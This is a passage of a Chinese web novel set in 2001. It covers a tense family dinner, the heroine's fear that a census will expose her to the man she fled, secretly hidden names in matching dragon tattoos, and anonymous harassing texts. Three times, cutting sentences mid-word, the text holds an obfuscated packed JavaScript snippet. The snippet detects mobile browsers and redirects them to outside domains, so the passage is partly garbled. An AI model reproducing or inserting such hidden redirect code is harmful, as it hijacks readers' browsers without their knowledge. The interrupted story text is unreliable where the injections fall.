“叔叔好,第一次来也不知道您和阿姨喜欢什么,就随便买了点。” “你们赚钱也不容易,花这个钱干嘛,快坐快坐。” 昌灵作为旁观者,将这场荒唐的见家长局看了个全貌,半晌扯着嘴角苦笑了下,原来这位李老师是真的谁也没看上。 她突然就有点释怀了。 餐桌上的气氛倒是比昌灵想象中好些,主要都是陈师傅和梁津颖在说话,陈家旺偶尔吭一声,李老师一言不发。 “叔叔这些都是你做的啊,可真厉害。”梁津颖很会说话,“等抽空也教教我行吗,我做给家旺吃。” 陈师傅哈哈大笑,自然说好。 就在昌灵以为这顿饭要平稳度过时,始终保持沉默的李老师拿起纸巾擦了擦嘴,忽然开口说:“你们那个纹身店,我怎么想都觉得是胡闹。” “……”饭桌上静默了一瞬。 陈家旺只当没听见:“吃饭。” “家旺,我在跟你说话。” “哦,你吃完了就不让别人吃了是吧。” 梁津颖听完拉了下陈家旺的胳膊,把话尾接过去说:“阿姨,我们不是胡闹的。” “那种店正经人怎么会去?” “……” 想纹身的昌灵又觉得自己被骂进去了。 陈家旺也没反驳她的话,只说:“我们也没准备接待正经人。” “你听听你这是说的什么话?!” “行了。”陈师傅脸色不太好看,“吃饭说些这个干什么,先好好吃饭不行吗。” “他也是你儿子,你就这么看着他胡闹?!”李老师清清嗓子挺直了腰板,“陈家旺,你看看你这些年都干了些什么,结交了些什么人,纹身的,台球厅的,有一个有正形儿的吗?” 梁津颖的笑容蓦地僵在脸上。 陈家旺随手将筷子一摔:“你没完了是吧。” 易阁把摔过来的筷子给他摆好,又在桌子底下抚摸着昌灵的手,沉声说:“师母,您说话别太过分了。” 李老师看了他一眼,继续说:“我想了一下,你们那个纹身店,不行就转出去干点别的。至于工作,三九八对面的水厂就在招工,不比你们这个店那个厅的强?” “有病。”陈家旺起身拉着梁津颖就走,“我新店开业第一天,你跟我说转让?晦气不晦气?” 梁津颖也没说什么,跟着他出了门。 昌灵看了出戏,心里那点不愉快也消散得差不多了,她很有礼貌地欠欠身:“陈师傅,李老师,时间也不早了,我们也该回去了。” 他们二人之中,脸色更不好的是易阁。 陈师傅艰难地笑了笑:“那行,我送你们出去。” 三个人沉默地走出院子,还是昌灵开口让陈师傅回去吧。他停住脚步长长地叹了口气:“小易,灵灵,你们也别怪你阿姨。她说话是不好听,但也是为了灵灵好。” 易阁闻言皱了皱眉头。 “灵灵在台球厅上班,终归不是长久之计,说出去也不好听是不是。那个水厂的招工,我有老伙计在那里,虽然工资不太高,但福利待遇肯定比台球厅好。” 易阁正想说什么,被昌灵出声打断道:“我知道了,谢谢陈师傅。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535042|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行,不着急,你回去考虑考虑。” “嗯。”昌灵笑笑,“那我们先走了。” “那个……”陈师傅一副欲言又止的模样。 昌灵明白:“您还想让我劝劝家旺哥?” “对,对。” “知道了,您回吧。” “哎,好!” 从陈家居住的小区出来,路边已经支起了不少烧烤摊,炭火燃烧,火星伴着油花滋滋作响。 昌灵嗅了嗅空气中的孜然味道,问易阁:“刚才没吃饱吧,要不要买一点回去吃?” 易阁低头盯着自己的脚尖,说不想吃。 “怎么了,生气呢?” “你不生气?” “一开始挺生气的。”昌灵老实说,“后来看她连自己儿子都看不上,也就没那么生气了。” 易阁:“你倒是想得开。” “我们又不跟她过日子,以后不去就是了。” 易阁揽过她的肩膀上下搓了搓,声音带着些懊恼和沮丧:“要不是我,你也不会跟着听这些话。” “行啦,我不会放在心上的。我们的工作他们又不懂,对吧。” “嗯。”易阁微微点头,“那他们说的那个水厂,你不想去吗?” 昌灵一愣:“你想让我去?” “当然不是,你只要做喜欢的工作就行。” 工作而已,其实也谈不上喜欢不喜欢。昌灵想,卖衣服、台球厅,或者水厂,最终目标都只不过是为了多赚点钱。 “可刚才陈师傅说水厂工资不高。”昌灵说,“我们不是还要攒钱买房子吗,没必要换个工资更低的工作吧。” “也是,但水厂是国营单位,福利待遇能好一些。” “那点儿福利够干什么呀。” “行,那我改天跟陈师傅说一声,咱不去。” “别那么快说呀。”昌灵笑容狡黠,“得让他觉得我们确实有好好考虑过。” “……你啊,心眼真多。”易阁无奈地捏了捏她的脸。 ** 两个人牵着手悠哉悠哉迈进楼道,正巧碰见对门马姐往楼上走。 听见脚步声,她回过头来:“是你们两个呀,这么晚出去啦?” 昌灵嗯了声,“姐你也刚回来啊。” “可不是,最近居委会忙着呢。” 马姐在居委会工作,这事昌灵是知道的。她随口问道:“是吗,最近有活动?有我们租房人的份儿吗?” 之前居委会给住户送温暖,就跟他们没关系。 “这回还真有。”马姐说,“这不是去年人口普查,咱们这儿的工作做得不到位,被上面点名批评了,最近都为这事忙得晕头转向的。” “人口普查?”昌灵闻言跟易阁对视一眼,问:“都查什么呀?” “户口呗,哪里人,家里住了几口人。像你们这样的,可能还要统计籍贯? “说是街道派出所新批了台电脑,可以联网了?到时候能把全国人口的信息都统计起来传到网上,人家一查就知道。 “说是这么说,也不知道是不是真的。” “……” 昌灵恍惚间后退了一步,险些绊倒,被易阁眼疾手快扶住了后背。 “没事吧?”他低声担忧地问道。 昌灵摇了摇头:“没事。” 她只是忽然感到一阵头晕窒息,喘不过气来。 48. 2001 咚咚。 咚咚咚。 咚、咚、咚—— 天刚蒙蒙亮,昌灵被外面砸门的声音惊醒。她下意识伸手摸了下身旁的位置,易阁的被子已经没有温度了。 他出门了? 昌灵揉了揉眼睛坐起来,门外的砸门声丝毫没有停下来的迹象,声声震耳欲聋。 有病吗,一大早扰人清梦。 她气呼呼下床准备跟人理论,路过窗户时却发现楼下已经站满了人,易阁也赫然在列。 都是被吵醒的? 昌灵一头雾水地去开门,刚打开一条缝隙,门就被外面的人大力扯开。还没等她骂一句有没有素质,只见王德富带着警察和一大帮人气势汹汹冲进来,一把掐住了她的脖子—— “终于让我找到你了,你还敢跑?!”王德富面目狰狞的脸近在咫尺,“不跟我回去结婚我现在就打死你!” 昌灵想呼救却喊不出来声音,楼道里站满了冷眼旁观的人,仿佛她天生就该跟王德富回去。昌灵绝望地想,易阁呢,易阁为什么不来救自己? “小贱人,你到底跟不跟我回去?!” 昌灵费劲地从唇缝里挤出两个字: 不、要。 “你找死!”王德富说着伸出他肥胖肮脏的手,一把扯开了昌灵的衣领。 “啊——” 昌灵尖叫着睁开双眼。 “怎么了?”易阁被她的声音惊醒,起身拍开了卧室的灯,问:“是不是做噩梦了?” 昌灵惊魂未定,头晕、心悸、恶心,脊背生寒。 见人不说话,易阁抬手摸了摸她的额头,汗水打湿了额前的碎发。他语气关切道:“你出汗了,要不要换件衣服再睡?” “……” 易阁:“我帮你换?” 说着他试探地撩起昌灵的衣摆,却突然被她反手握住了手腕。易阁抬起头,对上昌灵惊恐的双眸。 他不禁眉头紧锁:“昌灵?到底怎么了?” 昌灵凝视着易阁的脸,用目光一点点仔细描绘他的轮廓,而后缓慢地眨了眨眼睛: “易阁。”她轻声说。 “我在。”易阁顺了顺她凌乱的头发,“你别害怕,我在。” “易阁。”昌灵只是重复喊他的名字,“易阁。” 易阁展臂将人拢到自己怀里牢牢抱着,手掌轻柔又缱绻地抚过她的后背:“没事了昌灵,没事了。” 昌灵依偎在熟悉的肩颈之间,不知道过了多久,豆大的眼泪不受控制地从她的眼眶里砸下来,一滴,两滴。 像断了线的水晶珠链。 她眼神空洞没有焦点:“我梦见王德富来抓我回去了。” 声音无助又哀切,在寂静深夜听起来格外悲凉。 易阁的心痛到像是被人硬生生撕下一块。他立马想到是和之前邻居提过的人口普查有关,温声安慰说:“你只是做梦了,那都不是真的。” “万一呢?”昌灵声音很轻,“万一他们说的都是真的,一上网就能查到我的信息,那又该怎么办?” “没有那种万一。就算真的有,我也不会让他们带走你,我会保护你的。” 昌灵眼珠动了动,蓦地坐正了身体面对着易阁,泪珠还挂在下巴上摇摇欲坠。 她急切地说:“我们买房吧,这样就能把户口落到这里不是吗?” 易阁闻言抿了抿嘴,半晌才回答:“现在买房少说也要十几万,就算贷款,我们的首付钱也不够。” “……” 话是实话,但现下说出来对昌灵来说无疑是残忍的。她听完垂头将脸埋在手掌心里,呼吸声很轻。 只剩下一室空寂。 易阁捏了捏眉心:“如果你是想落户口,其实还有别的办法,不一定非要买房子。” 昌灵不说话,但易阁知道她在听,于是他继续说:“就比如我,我的户口现在就在单位里,他们就算要查,只要不告诉他们我们是西乡人不就好了。” 昌灵缓缓抬起头,半眯了下眼睛:“你的户口在三九八?我怎么不知道。” “刚去上班的时候就迁过去了,也不是什么重要的事,我就没提。” “……所以单位可以落户口?台球厅也可以?” “这个我不清楚。”易阁说,“你明天可以去问问林老板,不行我们再想别的办法。” 昌灵思索片刻:“我现在就去打电话问他。” “哎!”易阁一把抓住她的手臂,“这都几点了,明天再问也一样,先睡吧?” “不行,我现在一闭上眼睛全都是王德富的脸,不问清楚我睡不着的。” 易阁叹了口气将人拉回怀里,耐心安抚道:“昌灵,你现在是成年人了,只要你不想,没有任何人可以勉强你,包括你爸妈,你奶奶。” 昌灵抬眸看向他,神情复杂。 “实在睡不着我们可以聊聊天,你先躺下来。”易阁扶着她的肩膀缓缓将人放倒,“我向你保证,你梦到的事情不会发生。” 昌灵闭了闭眼睛,疲惫不已:“你想聊什么?” 呃。 易阁一愣,绞尽脑汁才勉强想出一个话题: “你不是说要纹身,图案想好了吗?” “没有。”昌灵说,“常见的蝴蝶、花,都不适合你,菩萨又太奇怪了,不像好人。” 易阁跟她并肩躺好,提了几个建议:“龙凤,龙虎?臂环的话,这些画起来应该也挺好看的。” 龙、凤、虎。 “这不都是两个物种吗,凑在一起能合适吗?” 易阁一想,还真是。他笑了笑,说:“那双龙戏珠行不行?都是龙族。” “双龙可以。”昌灵只赞同物种,“但戏珠太土了,我不喜欢。” “那就画龙,具体什么样子再跟家旺他们沟通。” 说完后卧室又陷入了长久的沉默。黑暗中,昌灵的眼睛水洗般透亮,倒映着微弱的月光。 易阁真的不知道再说点什么好。 他之前从没觉得自己嘴这么笨,就连安慰人的话也只会反反复复地说,一点儿新意也没有。好在昌灵不太介意这些。 她一眨不眨注视着天花板,问:“你是真的想纹身吗?” “想,只要你想我都陪你。” 昌灵轻轻嗯了声,片刻后又问:“那你想做吗?” “啊?”易阁撑起手肘半靠在床头,“现在吗?” “嗯。” “不太合适吧?”他有些迟疑。 昌灵却不由得他迟疑,搂住脖颈便吻了上去。易阁下意识回吻,很快又在淡淡的血腥味中找回了理智,是昌灵咬破了他的下唇。 “等等,等等。”他将二人的唇舌稍稍分开了些距离,“你别急。” “你不急吗,你不想做吗?”昌灵说着又要吻上去。 “昌灵,你冷静点。” “我很冷静。” 易阁按下她的肩膀,“你现在很反常。” 往日在床上,易阁都是主动的那一方,昌灵鲜有主动的时候。偶尔上位让她动一动,昌灵都会抱怨说累,没两下就要喊停,根本不是现在急切的模样。 “我没有。”昌灵缓了口气努力平复呼吸,问他:“所以你不喜欢这样?” “你这根本不是想做,你只是想发泄情绪。” 昌灵不理解,“有什么区别?” “发泄有很多方式,你这样会受伤的。” 昌灵听着只觉得头疼。 片刻后她伸手推开易阁的肩膀,既然他不愿意那就算了,这种事勉强也没意思。 易阁始终注视着她,半晌无奈地叹了口气,随后低头缓慢地亲吻在她的锁骨,温柔细密。 手掌抚过昌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535043|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的肩颈时,她突然开口说:“你掐我。” “嗯?”易阁没听清。 或者说,他没敢听清。 昌灵好心拿过他的手按在自己的脖颈上,语气认真:“用力掐。” 意识到她想干什么之后易阁倏然变了脸色。 “掐啊。”昌灵还在不断催促。 易阁猛地甩开她的手,厉声道:“你到底想干嘛?!” 突如其来的高声吓了昌灵一跳,见易阁脸色实在不好,她才反应过来——是他想岔了。 “你在想什么啊?”她当即笑得情真意切,“我是让你掐我,又不是让你掐死我。” 易阁:? “算了。”昌灵笑累了,摆摆手说:“我现在又想睡了,这些等你以后再补偿我。” 易阁:“……?” ** “林哥说他们这种个体是落不了户的。” 昌灵斜靠在乌合的沙发上,梁津颖在她不远处画图。 “那能不能落在我家啊?”陈家旺馊主意一箩筐,张嘴就来:“就说昌灵是我爸的私生女。” 易阁无语:“你小心陈工打死你。” 陈家旺耸耸肩:“这不是江湖救急吗。” “你这是病急乱投医。” “那你说有什么办法,要不出去借点钱买个房?你们还差多少?” …… 昌灵越听越心烦,伸手把两个人一起往外推,省得在这胡言乱语打扰梁津颖画图。 “行行,你们忙。”陈家旺举手作投降状,“我们出去给你们买饭行吧小祖宗。” 等人走远了,梁津颖才略带羡慕地说:“感觉他对你这个妹妹,比对我好多了。” “怎么会。”昌灵不以为意。 “是真的。”梁津颖回头看了她一眼,微微笑着:“其实陈家旺没有多喜欢我。” 昌灵眨了眨眼,有些不知所措。 “他现在能跟我在一起,无非是因为这个店,我能帮他。” 昌灵蓦然想起陈家旺之前众多的女朋友,不解地问:“既然你都知道,那为什么?” “因为我想跟他在一起啊。”梁津颖挑了下眉,“我想要什么,就一定要得到什么。” 昌灵:“就算他没那么喜欢你?” “当然,我喜欢就行了。” 从没预想过这种‘爱情’模式的昌灵又被免费上了一课,听得她瞠目结舌。 这样,也可以? “来,看看草图。”梁津颖说。 昌灵兴奋地趴过去,一共三张,“怎么这么多?” “你们两个合在一起是一幅,单独看也得补全了啊,臂环断开成什么样子了。” 昌灵想象了一下,确实,要不然成半环了,手臂外侧缺一块。 “你觉得怎么样?黑白色,你要是喜欢,可以填蓝色的云雾。” 双龙盘云似离似缠,飘逸翱翔,气势磅礴。 “好看!”昌灵看得仔细,片刻后忍不住称赞:“姐,你真的好厉害。” 梁津颖捏了下她的脸,说喜欢就好。 昌灵心里转了千百个心思,少顷抿起嘴巴朝门口看了一眼,没有人在。她凑近了梁津颖,悄声说:“姐,能不能把我的名字藏在易阁这张图里?拼写也行。” 梁津颖神色略显惊讶,“可以是可以。” “别太明显,也别告诉他。” 梁津颖忍笑:“这有点不道德吧?” 昌灵闻言睁大了眼睛,“我是你妹妹呀,你难道不应该帮我?” 牛。 梁津颖比了个大拇指,正确的,她无法反驳。 “那易阁的名字呢,你也要?” 昌灵想了想,“还是不要吧。” 她暂时没有把别人的名字纹在身上的爱好。 就算是易阁的也不行。 49. 2001 纹身的位置取在他们二人正坐时上臂的平行位置,昌灵在左,易阁在右。梁津颖给昌灵纹,陈家旺负责易阁,各自在不同的房间里。 梁津颖的手很稳,针刺进肌肤的痛感没有昌灵想象中那么重。她垂眸盯着逐渐成形的图案,忽而想到了西乡的山,西乡的雪。 山上有她的家人,雪地埋着她的脚印。 快两年了。就连她自己都要以为那段不堪回首的岁月已经消散、淡化到没有半点痕迹,却在梦境之中猛然发现,那些满是算计的脸依旧清晰,年少的惊惧从不曾与身体分离。 易阁总是说没事的,有他在,不要怕,仿佛没什么大不了的事。可昌灵没能说出口的是,她也不想怕的,可双手总是在不受控制地颤抖。 她真的不想的。 “要是易阁某一天发现了那个名字怎么办?”梁津颖戴着口罩,声音沉闷。 刚才拿到画稿时他并无异议,连陈家旺这种新人给他割线也都同意。 昌灵回过神,半晌无所谓地说:“不怎么办。” 他早晚会发现的,但那又如何呢?易阁从没跟她发火或者吵架,连在床上掐她脖子都做不到。 “其实告诉易阁他也未必不会同意吧?” 昌灵思索片刻嗯了声,“或许吧,但没必要告诉他。” “为什么?” “因为结果都是一样的。” 梁津颖听完抬头看了她一眼,说好吧,那看来易阁真的很爱你。 昌灵没否认,虽然这并不是她想表达的本意。告诉易阁,无非只有两个结果,同意,和不同意。但依照易阁的性格和想法来看,就算他不同意,也会为了满足女朋友的意愿而违心地答应。 可昌灵最不想要的,就是这个违心,哪怕只有百分之一的可能。 至于被他发现之后会不会生气,昌灵对此是怀有期待的。如果易阁能生气那再好不过,她刚好很想看看这个人生起气来是什么样子。 一个沉默寡言又情绪稳定的青年人,撕开表面展露真实的内里说不定会很有意思。 店里的磁带循环播放着《古惑仔》的主题曲,昌灵没看过那部电影,却意外觉得歌曲和现下的环境很应景。 “津颖姐。”她饶有兴致地问,“港城是什么样子的?” 梁津颖不回答:“怎么想起来问这个?” “如果那里很好的话,你为什么要跟家旺哥走呢?” “……” “不好回答吗?”昌灵想了想,又说:“那你喜欢他什么呢?” 这个问题似乎就变得容易很多。梁津颖不假思索道:“一开始就是觉得他长得好看,但他有女友在身边,我其实没想太多的。” “……啊?”昌灵大惊,试探着说:“那你是一直等到他们分手?” 梁津颖摇摇头:“当然不。” 一开始她和陈家旺只有两面之缘,并且还有很多人在场,连话都没说过两句。后来他跟着师父学手艺,时常像只左右逢源的花蝴蝶似的出现在店里,姐姐妹妹喊得亲热。梁津颖起初觉得他讨厌,后来,更讨厌从他嘴里听到其他任何一个妹妹。 直到有一天,陈家旺不经同意随便上手修改了她未完成的画稿。画稿对于纹身师的意义不言而喻,梁津颖气得想杀了他,却在听完他对于修改灵感侃侃而谈之后蓦地消了气。 这也是现在她愿意让陈家旺使用她画稿的原因。 梁津颖不得不承认,在这方面,他是非常有天赋的人。 “后来呢?”昌灵觉得新奇,她好像听到了一个完全不一样的陈家旺。 “后来?”梁津颖笑了下,“他说为表歉意请我喝酒,喝着喝着就滚到床上去了。” “……啊?”这急转直下的剧情惊掉了昌灵的下巴。 梁津颖:“你嘴巴张这么大干嘛,吓到了?” 昌灵蓦地闭上嘴,片刻后又问:“然后你们就在一起了?” “没有。”梁津颖说,“他说是酒后乱性,不肯跟之前的女友分手,我也是使了不少手段才得手。” “…………哈?” “怎么,觉得颠覆三观了?” 昌灵不想说确实有点儿,这剧情也太…… “我们跟你们不一样,青梅竹马两小无猜的。易阁能跟你一生一世一双人,但换作陈家旺,你如果让他一辈子只跟一个人睡,他一定觉得亏死了。” 昌灵非常不理解:“那你不会介意吗?他跟那么多人都、在一起过。” 话到嘴边,她换了个委婉的说法。 梁津颖却不在意,说:“你有没有听过一句话,叫一个被窝睡不出来两种人? “感情的事很复杂的,你现在年纪太小啦,说了你也不会明白的。” 昌灵很想反驳说自己快要十九岁,已经不小了。可梁津颖今年二十六岁,她们二人相距的七年光阴是自己如何追赶都无法改变的事实。更何况她只是一个从小地方来的高中生,又没有见过什么大世面。 ** 两个房间几乎是同时收工的,打雾和上色不在今天。梁津颖仔仔细细交代了忌口和注意事项,还贴心的准备了消炎药以防万一。 陈家旺捣了捣易阁的胳膊,示意他说话。 昌灵将他们的小动作尽收眼底,不着痕迹地皱了皱眉。 易阁深吸一口气,半晌才为难地说:“我们想到了一个落户的办法。” “说说看。”昌灵没抱什么希望,看他这个样子就知道又是什么馊主意。 易阁说:“可以换个可以落户的单位,就像三九八这样。” 说得好轻巧,“能去哪儿?工作这么好换吗?” “哎呀真墨迹。”陈家旺听得着急,直说道:“就是我爸提过的那个水厂,他们能落户。但你的户口不能回老家去迁,所以咱们多给他们办公室送点礼,看能不能开个后门办一下。” “水厂?” “对,易阁说你不会去的,嫌工资低?但现在这不是非常时期吗,再不行等你们买了房就换新工作不就好了。” 昌灵一下子接收到许多信息,眼底满是怀疑和茫然。 过了许久她才开口:“你这不是跟我开玩笑吧?工资低就不说了,现在还要送礼给他们,钱赚不到还要猛猛往里送,那我不是亏死了?” “但户口的事八成能办。”陈家旺提醒她。 “这么亏本的买卖你会干?” “我当然不会。”陈家旺说,“但你跟我不一样啊,你跟易阁不还得好好过日子吗。” 不一样不一样,又是这个‘不一样’。都是一个鼻子两只眼的人,昌灵想不通,到底是哪里不一样?‘坏人’有他的坏办法,‘好人’就只能白白给别人送钱? 可她也知道陈家旺是好意,于是只能说自己知道了,再回去考虑考虑。 刚走出乌合的门,陈家旺又跟出来两步喊了声她的名字。 昌灵问怎么了,陈家旺:“那个,津颖还有点药品忘了给你,你再进来拿一下吧。”说完还朝她使了个眼色。 昌灵眼珠微动,回头跟易阁说让他等等,自己去去就来。玻璃门在身后关闭,陈家旺朝外看了一眼易阁,趁他不注意,一把拽住昌灵的手腕将人拉到了门外看不见的死角里。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543507|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干嘛?”昌灵蹙眉道。 “易阁那图是怎么回事?” 昌灵扫了他一眼,“听不懂你在说什么。” “你少来,我刚看了你的图,上面没名字。我刚给易阁纹的时候就看出来了,这事他明显不知道。”陈家旺眯了眯眼睛,“我说昌灵,你觉得这事合适吗?” 昌灵小声说:“有什么不合适。” “我可警告你,易阁是个聪明人,他不会看不出来,你别把你俩这段玩死了再后悔。” 昌灵垂眼不看他,半晌才说:“你既然看出来了怎么不直接告诉他。” 陈家旺啧了声没说话。 昌灵:“看来你也没多为他着想嘛。” 陈家旺:? 一句话给他说乐了。 陈家旺蓦地笑了下,说:“我发现了,你还挺会挑拨离间转移矛盾的,这点我喜欢,从来不在自己身上找错误。” 昌灵撇开眼,不觉得自己哪里错了。 临出门前,陈家旺又提醒了她一遍,做什么事都要有分寸。 昌灵觉得好笑,凑近眨了眨眼:“哥,这话你还是说给自己听吧。” 陈家旺:? “不识好歹啊你!” ** 在易阁第三次意味不明地将视线投向她时,昌灵终于确定,易阁果然已经知道了。 只是他什么都不说,似乎在等她主动坦白。 昌灵想,我偏偏不要如你意。她放下手里的杂志,翻过身趴在他的大腿上,神情无辜地说:“你是想让我去水厂工作吗?” 易阁低下头:“我没有想让你干什么,你不想去我们就再想别的办法。” “说是这么说,其实我没得选吧?” “没人勉强你。” 昌灵闻言挑了下眉,这是不高兴了。她将手探进易阁衣服里,在腰侧来回抚摸:“我这不是在问你的想法吗?” “我的想法重要吗?” 昌灵抽手坐起,片刻后缓缓解开易阁上衣的几粒纽扣,解到最后一粒时,被他用力按住了手背。 昌灵没有松开,易阁也没有撤手。 相顾无言。 真是没劲透了。 “不想做就睡吧。”昌灵说着甩开他的手,扯过枕头背对着他躺下。 易阁闭眼叹了口气:“昌灵。” “……” “你解决问题的方法有问题。” 昌灵不以为意:“有什么问题?” “不是所有的问题都能在床上解决,你这是在逃避。” “……你说得对。”昌灵笑了下,“所有的问题都能用钱解决,可惜我没有。” 她没说‘我们’。 “所以纹名字的事也能用钱解决?”易阁终于忍无可忍,不愿再跟她绕着弯打哑谜。 “你很介意?”昌灵问,“既然你早都看出来了,为什么还要纹呢?” “因为你是我的爱人啊,所以为你做这些事情我愿意!”易阁说完用力捏了捏眉心。 “愿意还有什么不高兴?” 永远不会正面回答问题,永远在想方设法地逃避,易阁想,自己简直是在对牛弹琴。 他深呼一口气:“你到底把我当什么?对我还有点最基本的尊重吗?” 昌灵眼底划过一丝茫然,片刻后说:“可你不是我的吗。” 就像上学时在崭新的课本上一笔一画写下自己的名字那样,当时也没有人告诉她还需要问问书本的意愿。 她的语气太过理所应当,导致易阁听完莫名觉得是不是他在小题大做,昌灵只不过是想纹个名字而已。 50. 2001 水厂的办公室主任和陈师傅是旧相识,见了昌灵也很热情,听说她不方便回老家迁户口,立马就说单位可以替她办,这都不算什么大事。 昌灵暗自想,不管在哪,有点关系还是好。 她跟着主任在车间里转悠了一圈,大体了解了一下工作流程。一个车间小几百人,总体都是流水线作业,机器一开一天都别想挪动地方。好处是早八晚五不加班,周末双休离家近。坏处嘛,基本工资三百,加点乱七八糟的补贴,一个月到手四百块钱左右,比她在台球厅少一半。 昌灵在水厂大门外找了个电话亭给易阁打电话。上次纹身的事情轻飘飘揭过去之后,他们两个人的日子跟从前并无任何变化,甚至易阁比之前更好说话,对她可以说是百依百顺。 这点一度令昌灵十分费解,天底下难道真的有易阁脾气这么好的人吗?他真的不会生气吗? 嘟嘟两声过后,听筒里传来了易阁的声音:“昌灵?” “嗯,你怎么知道是我?” “算着时间你应该是面试完了,怎么样?” 昌灵将主任的话原封不动转述给他。 易阁:“他的意思是,不用送礼就能帮忙落户?” 昌灵嗯了声,“他说是小事。” “那很好啊。”易阁的语气骤然轻松很多,他停顿片刻:“但听起来你好像不是很开心?” 昌灵确实有点高兴不起来。 她低声说:“这里的工资少得可怜,那我们得熬到什么时候才能买房子啊。” 易阁闻言轻笑:“这你就不用担心了,买房的事本来就应该是我负责,钱由我来赚。” “你怎么赚,还不是要没日没夜的加班。” “年轻的时候不加班什么时候加班,现在累,过两年不就能享清闲了。” “……”昌灵叹了口气,她想说我只是不想你这么累的。可彼此都知道,这句话不管对谁来说都起不到任何安慰作用。 “好了。”易阁说,“你去买点好吃的,咱们晚上一起庆祝你顺利在雁山落户。” 昌灵笑笑:“劳模今晚不加班了?” “不加,你最重要。”易阁说完飞速挂了电话。 昌灵将听筒缓缓挂回去。拔出电话卡,她在电话亭里伫立了良久,什么都没想,大脑一片空白,只是难得有如此平静的时刻,天朗气清,光线柔和。 一切都好像按下了慢放键。一首歌的时间拉长了两倍,街头小贩的爆米花炉还没有炸开,困在西乡的小女孩历经长途跋涉终于彻底走了出来。 也好吧。 这样也好。 ** 水厂的工作比昌灵想象中还要枯燥乏味,每天都是重复同样的动作,不是贴标签装水就是刷瓶子。周围同事年纪也都比她大许多,聊天的内容除了老公无能、公婆不和就是孩子挑食,听得她耳朵都要起茧。 昌灵在黑暗里盯着天花板愣神,身体很累,但没有丝毫睡意。 耳畔易阁的呼吸声平稳,他也够辛苦的,偶尔不加班省下的精力还要消耗在她身上。 她怕累,易阁就不让她动。她皮肤白会留痕迹,易阁每次都会刻意控制手劲和力度。哪怕昌灵说没关系,他也只会敷衍地用力撞两下后又继续担心她哪里会痛。 把她当成一个易碎的玻璃娃娃。 玻璃娃娃伸出纤细的手臂够到了床头柜上放着的新手机——这是去水厂上班一个月之后易阁给她买的礼物。 用原本送礼的一部分钱。 里面只存了几个比较重要的人的号码,除此之外还有装机自带的小游戏,水厂的新同事她都暂时没什么联系。昌灵关掉声音,默默玩了一会儿贪吃蛇,越玩人越精神。 她举着手机翻了个身枕在易阁胸口,熟睡中的易阁无意识地把手搭在她的腰侧摩挲了两下,又下滑伸进了她的底裤里。 要不是耳边的心跳声依旧平稳,昌灵都要怀疑这个人是在装睡,只等着半夜起来耍流氓。 她偏头亲了亲易阁的胸口,继续玩单机小游戏。 凌晨三点时,手机嗡嗡进来一条陌生人短信息。 昌灵眯了下眼睛,点开信息: 「真想看看你叫/床的时候是什么样子。」 她微微蹙眉,这是谁?没名没姓的,发错人了? 毕竟知道自己号码的也没有几个人。 昌灵原本想直接删除,思虑再三又觉得哪里不太对劲,心道还是等明天给易阁看看再说比较好。 只是翻来覆去,更加难以入眠。天光大亮时,她只睡了不到三个小时。起床叠好被子,易阁已经做好了早饭。 昌灵半闭着眼睛去洗漱,路过易阁时将短信打开递到他面前。 易阁没接,问:“怎么了?” 她懒得说话,直接把手机塞进易阁手心里,意思是你自己看。 提神醒脑的清凉薄荷味牙膏刚入口,易阁的身影腾地出现在卫生间门口。 他神情严肃:“这短信什么意思,谁发的?” 昌灵摇头。 “只发过这一次?” 昌灵点头。 易阁说:“那基本可以确定是你们水厂的人。” 毕竟昌灵每天上班回家都是两点一线,去市场买菜遇见的人也不会知道她的号码。 昌灵赞同,她吐掉牙膏沫儿,说:“不过也有可能是发错了。” 易阁脸上的凝重不减:“今天我送你去上班,你在单位也尽量别自己一个人。” 一捧水扑在脸上,昌灵清醒不少:“放心吧,单位里百分之九十都是女孩儿,就算真是水厂的人,他也没机会做什么。” 易阁:“不行,要不下班我也去接你,你等一会儿再走。” 昌灵想了想:“那你不怕别人都走光了,就剩下我和那个人一起等你?” 易阁:! “那不行!”他神色一凛,“这样,你下班别自己走,先去我们单位的保安室等等我。这段路近,路上人也多。” “没必要吧,上下班的路上人都很多,不会有事的。” 易阁:“你别不放在心上。” “好好好。”昌灵擦干净脸抱住他的手臂往客厅走,“看看再说好吧,说不定就是发错人了。” ** 风平浪静的度过几天后,昌灵收到了第二条短信息。手机响起时她正站在乌合的窗台边浇花,手机放在画图的陈家旺手边。 “妹妹,短信。”陈家旺听到声音喊了她一声。 昌灵:“看看是谁。” 陈家旺按下开锁键扫了一眼:“不知道,陌生人。” “你点开看看。”真有重要的事找她会 